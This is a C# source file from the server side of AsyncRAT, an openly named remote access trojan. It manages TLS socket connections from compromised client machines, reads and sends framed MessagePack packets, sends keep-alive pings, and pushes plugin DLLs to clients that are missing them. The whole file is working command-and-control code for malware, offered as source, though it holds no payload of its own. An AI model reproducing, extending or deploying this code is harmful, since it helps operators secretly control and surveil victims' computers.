AsyncRAT-C-Sharp/AsyncRAT-C#/Server/Connection/Clients.cs

using System;
using System.IO;
using System.Net.Sockets;
using System.Windows.Forms;
using Server.Handle_Packet;
using System.Drawing;
using System.Diagnostics;
using System.Threading;
using Server.MessagePack;
using System.Net.Security;
using System.Security.Authentication;
using Server.Algorithm;
using Microsoft.VisualBasic;
using System.Collections.Generic;

namespace Server.Connection
{
    public class Clients
    {
        public Socket TcpClient { get; set; }
        public SslStream SslClient { get; set; }
        public ListViewItem LV { get; set; }
        public ListViewItem LV2 { get; set; }
        public string ID { get; set; }
        private byte[] ClientBuffer { get; set; }
        private int ClientBuffersize { get; set; }
        private bool ClientBufferRecevied { get; set; }
        private MemoryStream ClientMS { get; set; }
        public object SendSync { get; set; }
        public long BytesRecevied { get; set; }

        public Clients(Socket socket)
        {
            SendSync = new object();
            TcpClient = socket;
            SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
            SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
        }

        private void EndAuthenticate(IAsyncResult ar)
        {
            try
            {
                SslClient.EndAuthenticateAsServer(ar);
                ClientBuffer = new byte[4];
                ClientMS = new MemoryStream();
                SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
            }
            catch
            {
                //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
                SslClient?.Dispose();
                TcpClient?.Dispose();
            }
        }

        public async void ReadClientData(IAsyncResult ar)
        {
            try
            {
                if (!TcpClient.Connected)
                {
                    Disconnected();
                    return;
                }
                else
                {
                    int Recevied = SslClient.EndRead(ar);
                    if (Recevied > 0)
                    {
                        await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
                        if (!ClientBufferRecevied)
                        {
                            if (ClientMS.Length == 4)
                            {
                                ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
                                ClientMS.Dispose();
                                ClientMS = new MemoryStream();
                                if (ClientBuffersize > 0)
                                {
                                    ClientBuffer = new byte[ClientBuffersize];
                                    Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes  ///");
                                    ClientBufferRecevied = true;
                                }
                            }
                        }
                        else
                        {
                            Settings.Received += Recevied;
                            BytesRecevied += Recevied;
                            if (ClientMS.Length == ClientBuffersize)
                            {

                                ThreadPool.QueueUserWorkItem(new Packet
                                {
                                    client = this,
                                    data = ClientMS.ToArray(),
                                }.Read, null);

                                ClientBuffer = new byte[4];
                                ClientMS.Dispose();
                                ClientMS = new MemoryStream();
                                ClientBufferRecevied = false;
                            }
                        }
                        SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
                    }
                    else
                    {
                        Disconnected();
                        return;
                    }
                }
            }
            catch
            {
                Disconnected();
                return;
            }
        }

        public void Disconnected()
        {
            if (LV != null)
            {
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    try
                    {

                        lock (Settings.LockListviewClients)
                            LV.Remove();

                        if (LV2 != null)
                        {
                            lock (Settings.LockListviewThumb)
                                LV2.Remove();
                        }
                    }
                    catch { }
                }));
                new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red);
            }

            try
            {
                SslClient?.Dispose();
                TcpClient?.Dispose();
                ClientMS?.Dispose();
            }
            catch { }
        }

        public void Send(object msg)
        {
            lock (SendSync)
            {
                try
                {
                    if (!TcpClient.Connected)
                    {
                        Disconnected();
                        return;
                    }

                    if ((byte[])msg == null) return;
                    byte[] buffer = (byte[])msg;
                    byte[] buffersize = BitConverter.GetBytes(buffer.Length);
                    TcpClient.Poll(-1, SelectMode.SelectWrite);
                    SslClient.Write(buffersize, 0, buffersize.Length);

                    if (buffer.Length > 1000000) //1mb
                    {
                        Debug.WriteLine("send chunks");
                        int chunkSize = 50 * 1024;
                        byte[] chunk = new byte[chunkSize];
                        using (MemoryStream buffereReader = new MemoryStream(buffer))
                        using (BinaryReader binaryReader = new BinaryReader(buffereReader))
                        {
                            int bytesToRead = (int)buffereReader.Length;
                            do
                            {
                                chunk = binaryReader.ReadBytes(chunkSize);
                                bytesToRead -= chunkSize;
                                SslClient.Write(chunk, 0, chunk.Length);
                                SslClient.Flush();
                                Settings.Sent += chunk.Length;
                            } while (bytesToRead > 0);
                        }
                    }
                    else
                    {
                        SslClient.Write(buffer, 0, buffer.Length);
                        SslClient.Flush();
                        Settings.Sent += buffer.Length;
                    }
                    Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes  ///");
                }
                catch
                {
                    Disconnected();
                    return;
                }
            }
        }

        public void CheckPlugin(object o) // send all plugins md5 hash to client
        {
            try
            {
                List<string> plugins = new List<string>();
                foreach (var plugin in Settings.Plugins)
                {
                    plugins.Add(plugin.Key);
                }
                if (plugins.Count > 0)
                {
                    MsgPack msgPack = new MsgPack();
                    msgPack.ForcePathObject("Packet").SetAsString("checkPlugin");
                    msgPack.ForcePathObject("Hash").SetAsString(string.Join(",", plugins));
                    ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
                }
            }
            catch (Exception ex)
            {
                new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
            }
        }

        public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
        {
            try
            {
                foreach (var plugin in Settings.Plugins)
                {
                    if (hash == plugin.Key)
                    {
                        MsgPack msgPack = new MsgPack();
                        msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
                        msgPack.ForcePathObject("Dll").SetAsString(plugin.Value);
                        msgPack.ForcePathObject("Hash").SetAsString(plugin.Key);
                        ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
                        break;
                    }
                }
            }
            catch (Exception ex)
            {
                new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
            }
        }

        public void KeepAlivePacket(object o)
        {
            lock (SendSync)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "Ping";
                    msgpack.ForcePathObject("Message").AsString = "This is a ping!";
                    byte[] buffer = msgpack.Encode2Bytes();
                    byte[] buffersize = BitConverter.GetBytes(buffer.Length);
                    SslClient.Write(buffersize, 0, buffersize.Length);
                    SslClient.Write(buffer, 0, buffer.Length);
                    SslClient.Flush();
                }
                catch
                {
                    Disconnected();
                }
            }
        }
    }
}